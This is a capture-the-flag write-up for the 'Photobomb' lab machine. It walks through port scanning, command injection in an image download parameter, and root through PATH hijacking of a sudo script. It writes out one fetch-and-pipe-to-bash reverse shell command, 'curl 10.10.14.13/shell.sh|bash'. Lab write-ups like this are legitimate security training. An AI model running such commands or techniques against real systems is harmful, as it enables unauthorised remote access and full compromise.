Photobomb

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 5000 10.129.228.60                                    
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-06 10:14 EDT
Warning: 10.129.228.60 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.228.60
Host is up (0.0056s latency).
Not shown: 51828 closed tcp ports (conn-refused), 13705 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

We have to add photobomb.htb to our /etc/hosts file to view port 80

JS Credentials

The webpage looks like a corporate page:

When we click the link, it redirects us to some gallery.

Since the page mentions there are credentials, we can view the page source to find photobomb.js containing some credentials:

These credentials don't tell me anything new, so let's move on. At the bottom of the gallery, we can download images.

Here's the request generated when we download a photo:

I didn't know how this was handling photos, but the long processing time between requests indicates to me that these photos might be dynamically generated instead of having all the possible combinations of photos stored on the website. This means that the parameters could be passed into a command, and then the image is returned.

I tried some basic command injection, and found that the filetype parameter was vulnerable:

With this, we can use curl 10.10.14.13/shell.sh|bash to get a reverse shell.

We can then grab the user flag from the home directory.

Privilege Escalation

Sudo Privileges

The user is able to run a script as root.

SETENV just means that the current environment is used instead and that we can specify the environment variables before running the command:

Here's the script:

The find binary does NOT have an absolute path, which means we can create a binary called find that executes a reverse shell and change our PATH variable to execute it first.

First, create a file called find with a malicious command:

Afterwards, download this to the machine and make it executable. Then, just run this:

This would make /bin/bash an SUID binary.

Rooted!